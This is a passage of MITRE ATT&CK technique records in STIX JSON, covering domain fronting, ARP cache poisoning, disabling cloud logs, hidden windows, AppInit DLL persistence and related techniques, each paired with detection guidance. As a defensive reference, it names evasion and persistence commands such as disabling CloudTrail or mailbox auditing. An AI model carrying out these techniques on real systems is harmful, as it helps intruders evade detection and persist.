Association](https://attack.mitre.org/techniques/T1042) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_detection": "Inspect important application binary file hashes, locations, and modifications for suspicious/unexpected values.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_impact_type": ["Integrity"], "x_mitre_permissions_required": ["User", "Administrator", "root", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"modified": "2023-03-30T21:01:52.356Z", "name": "Domain Fronting", "description": "Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_contributors": ["Matt Kelly, @breakersall"], "x_mitre_detection": "If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blocklist or allowlist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content"], "type": "attack-pattern", "id": "attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2", "created": "2020-03-14T23:29:19.581Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1090/004", "external_id": "T1090.004"}, {"source_name": "Fifield Blocking Resistent Communication through domain fronting 2015", "description": "David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.", "url": "http://www.icir.org/vern/papers/meek-PETS-2015.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0"}, {"x_mitre_platforms": ["Linux", "Windows", "macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Jon Sternstein, Stern Security"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213", "created": "2020-10-15T12:05:58.755Z", "x_mitre_version": "1.1", "external_references": [{"source_name": "mitre-attack", "external_id": "T1557.002", "url": "https://attack.mitre.org/techniques/T1557/002"}, {"source_name": "Cylance Cleaver", "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}, {"source_name": "RFC826 ARP", "url": "https://tools.ietf.org/html/rfc826", "description": "Plummer, D. (1982, November). An Ethernet Address Resolution Protocol. Retrieved October 15, 2020."}, {"source_name": "Sans ARP Spoofing Aug 2003", "url": "https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411", "description": "Siles, R. (2003, August). Real World ARP Spoofing. Retrieved October 15, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nThe ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.\n\nAn adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.\n\nThe ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)\n\nAdversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)\n", "modified": "2022-07-22T18:37:22.176Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "ARP Cache Poisoning", "x_mitre_detection": "Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. \n\nConsider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}, {"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-12T21:13:56.431Z", "name": "Disable or Modify Cloud Logs", "description": "An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities.\n\nFor example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic) They may alternatively tamper with logging functionality \u2013 for example, by removing any associated SNS topics, disabling multi-region logging, or disabling settings that validate and/or encrypt log files.(Citation: AWS Update Trail)(Citation: Pacu Detection Disruption Module) In Office 365, an adversary may disable logging on mail collection activities for specific users by using the `Set-MailboxAuditBypassAssociation` cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user\u2019s license from an Enterprise E5 to an Enterprise E3 license.(Citation: Dark Reading Microsoft 365 Attacks 2021)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Syed Ummar Farooqh, McAfee", "Prasad Somasamudram, McAfee", "Sekhar Sarukkai, McAfee", "Ibrahim Ali Khan", "Alex Soler, AttackIQ", "Janantha Marasinghe", "Matt Snyder, VMware", "Joe Gumke, U.S. Bank"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor logs for API calls to disable logging. In AWS, monitor for: <code>StopLogging</code> and <code>DeleteTrail</code>.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: <code>google.logging.v2.ConfigServiceV2.UpdateSink</code>.(Citation: Configuring Data Access audit logs)  In Azure, monitor for <code>az monitor diagnostic-settings delete</code>.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled. ", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["IaaS", "SaaS", "Google Workspace", "Azure AD", "Office 365"], "x_mitre_version": "2.0", "x_mitre_data_sources": ["Cloud Service: Cloud Service Modification", "User Account: User Account Modification", "Cloud Service: Cloud Service Disable"], "type": "attack-pattern", "id": "attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d", "created": "2020-10-12T13:52:32.846Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1562/008", "external_id": "T1562.008"}, {"source_name": "Stopping CloudTrail from Sending Events to CloudWatch Logs", "description": "Amazon Web Services. (n.d.). Stopping CloudTrail from Sending Events to CloudWatch Logs. Retrieved October 16, 2020.", "url": "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html"}, {"source_name": "AWS Update Trail", "description": "AWS. (n.d.). update-trail. Retrieved August 4, 2023.", "url": "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/update-trail.html"}, {"source_name": "Following the CloudTrail: Generating strong AWS security signals with Sumo Logic", "description": "Dan Whalen. (2019, September 10). Following the CloudTrail: Generating strong AWS security signals with Sumo Logic. Retrieved October 16, 2020.", "url": "https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/"}, {"source_name": "Configuring Data Access audit logs", "description": "Google. (n.d.). Configuring Data Access audit logs. Retrieved October 16, 2020.", "url": "https://cloud.google.com/logging/docs/audit/configure-data-access"}, {"source_name": "Dark Reading Microsoft 365 Attacks 2021", "description": "Kelly Sheridan. (2021, August 5). Incident Responders Explore Microsoft 365 Attacks in the Wild. Retrieved March 17, 2023.", "url": "https://www.darkreading.com/threat-intelligence/incident-responders-explore-microsoft-365-attacks-in-the-wild/d/d-id/1341591"}, {"source_name": "az monitor diagnostic-settings", "description": "Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved October 16, 2020.", "url": "https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete"}, {"source_name": "Pacu Detection Disruption Module", "description": "Rhino Security Labs. (2021, April 29). Pacu Detection Disruption Module. Retrieved August 4, 2023.", "url": "https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu/modules/detection__disruption/main.py"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-16T00:15:53.303Z", "name": "Security Software Discovery", "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as cloud monitoring agents and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nAdversaries may also utilize the [Cloud API](https://attack.mitre.org/techniques/T1059/009) to discover cloud-native security software installed on compute infrastructure, such as the AWS CloudWatch agent, Azure VM Agent, and Google Cloud Monitor agent. These agents  may collect  metrics and logs from the VM, which may be centrally aggregated in a cloud-based monitoring platform.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_contributors": ["Isif Ibrahima, Mandiant"], "x_mitre_deprecated": false, "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nIn cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows", "IaaS", "Linux", "macOS"], "x_mitre_version": "1.5", "x_mitre_data_sources": ["Process: Process Creation", "Firewall: Firewall Metadata", "Command: Command Execution", "Process: OS API Execution", "Firewall: Firewall Enumeration"], "type": "attack-pattern", "id": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "created": "2020-02-21T21:16:18.066Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1518/001", "external_id": "T1518.001"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-13T14:28:20.651Z", "name": "Hidden Window", "description": "Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. \n\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)\n\nOn macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\n\nSimilarly, on Windows there are a variety of features in scripting languages, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is <code>powershell.exe -WindowStyle Hidden</code>.(Citation: PowerShell About 2019)\n\nIn addition, Windows supports the `CreateDesktop()` API that can create a hidden desktop window with its own corresponding <code>explorer.exe</code> process.(Citation: Hidden VNC)(Citation: Anatomy of an hVNC Attack)  All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be invisible to other desktops windows.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Travis Smith, Tripwire", "Mark Tsipershtein"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the <code>apple.awt.UIElement</code> or any other suspicious plist tag in plist files and flag them.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["macOS", "Windows", "Linux"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["File: File Modification", "Command: Command Execution", "Process: Process Creation", "Script: Script Execution"], "type": "attack-pattern", "id": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", "created": "2020-03-13T20:26:49.433Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1564/003", "external_id": "T1564.003"}, {"source_name": "Hidden VNC", "description": "Hutchins, Marcus. (2015, September 13). Hidden VNC for Beginners. Retrieved November 28, 2023.", "url": "https://www.malwaretech.com/2015/09/hidden-vnc-for-beginners.html"}, {"source_name": "Anatomy of an hVNC Attack", "description": "Keshet, Lior. Kessem, Limor. (2017, January 25). Anatomy of an hVNC Attack. Retrieved November 28, 2023.", "url": "https://securityintelligence.com/anatomy-of-an-hvnc-attack/"}, {"source_name": "Antiquated Mac Malware", "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"}, {"source_name": "PowerShell About 2019", "description": "Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019.", "url": "https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--cc1e737c-236c-4e3b-83ba-32039a626ef8", "type": "attack-pattern", "created": "2019-04-09T16:08:20.824Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1493", "url": "https://attack.mitre.org/techniques/T1493"}, {"description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", "url": "https://content.fireeye.com/apt/rpt-apt38", "source_name": "FireEye APT38 Oct 2018"}, {"source_name": "DOJ Lazarus Sony 2018", "url": "https://www.justice.gov/opa/press-release/file/1092091/download", "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."}], "modified": "2020-03-02T14:27:49.110Z", "name": "Transmitted Data Manipulation", "description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_detection": "Detecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_impact_type": ["Integrity"], "x_mitre_permissions_required": ["User", "Administrator", "root", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"modified": "2024-01-30T18:35:58.021Z", "name": "Python", "description": "Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the <code>python.exe</code> interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.(Citation: Zscaler APT31 Covid-19 October 2020)\n\nPython comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "Windows", "macOS"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution"], "x_mitre_remote_support": false, "x_mitre_system_requirements": ["Python is installed."], "type": "attack-pattern", "id": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "created": "2020-03-09T14:38:24.334Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1059/006", "external_id": "T1059.006"}, {"source_name": "Zscaler APT31 Covid-19 October 2020", "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021.", "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4", "type": "attack-pattern", "created": "2020-10-02T16:37:30.015Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1591.004", "url": "https://attack.mitre.org/techniques/T1591/004"}, {"source_name": "ThreatPost Broadvoice Leak", "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/", "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020."}], "modified": "2021-04-15T03:39:08.904Z", "name": "Identify Roles", "description": "Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-21T12:20:20.711Z", "name": "Data Encoding", "description": "Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_contributors": ["Itzik Kotler, SafeBreach"], "x_mitre_deprecated": false, "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content"], "type": "attack-pattern", "id": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", "created": "2017-05-31T21:31:43.540Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1132", "external_id": "T1132"}, {"source_name": "University of Birmingham C2", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}, {"source_name": "Wikipedia Binary-to-text Encoding", "description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.", "url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding"}, {"source_name": "Wikipedia Character Encoding", "description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.", "url": "https://en.wikipedia.org/wiki/Character_encoding"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-21T12:33:45.568Z", "name": "AppInit DLLs", "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppInit_DLLs</code> value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code>. (Citation: Elastic Process Injection July 2017)\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution", "Module: Module Load", "Windows Registry: Windows Registry Key Modification", "Process: OS API Execution"], "x_mitre_effective_permissions": ["Administrator", "SYSTEM"], "x_mitre_permissions_required": ["Administrator"], "x_mitre_system_requirements": ["Secure boot disabled on systems running Windows 8 and later"], "type": "attack-pattern", "id": "attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd", "created": "2020-01-24T14:52:25.589Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1546/010", "external_id": "T1546.010"}, {"source_name": "Elastic Process Injection July 2017", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"}, {"source_name": "AppInit Registry", "description": "Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.", "url": "https://support.microsoft.com/en-us/kb/197571"}, {"source_name": "AppInit Secure Boot", "description": "Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.", "url": "https://msdn.microsoft.com/en-us/library/dn280412"}, {"source_name": "TechNet Autoruns", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": 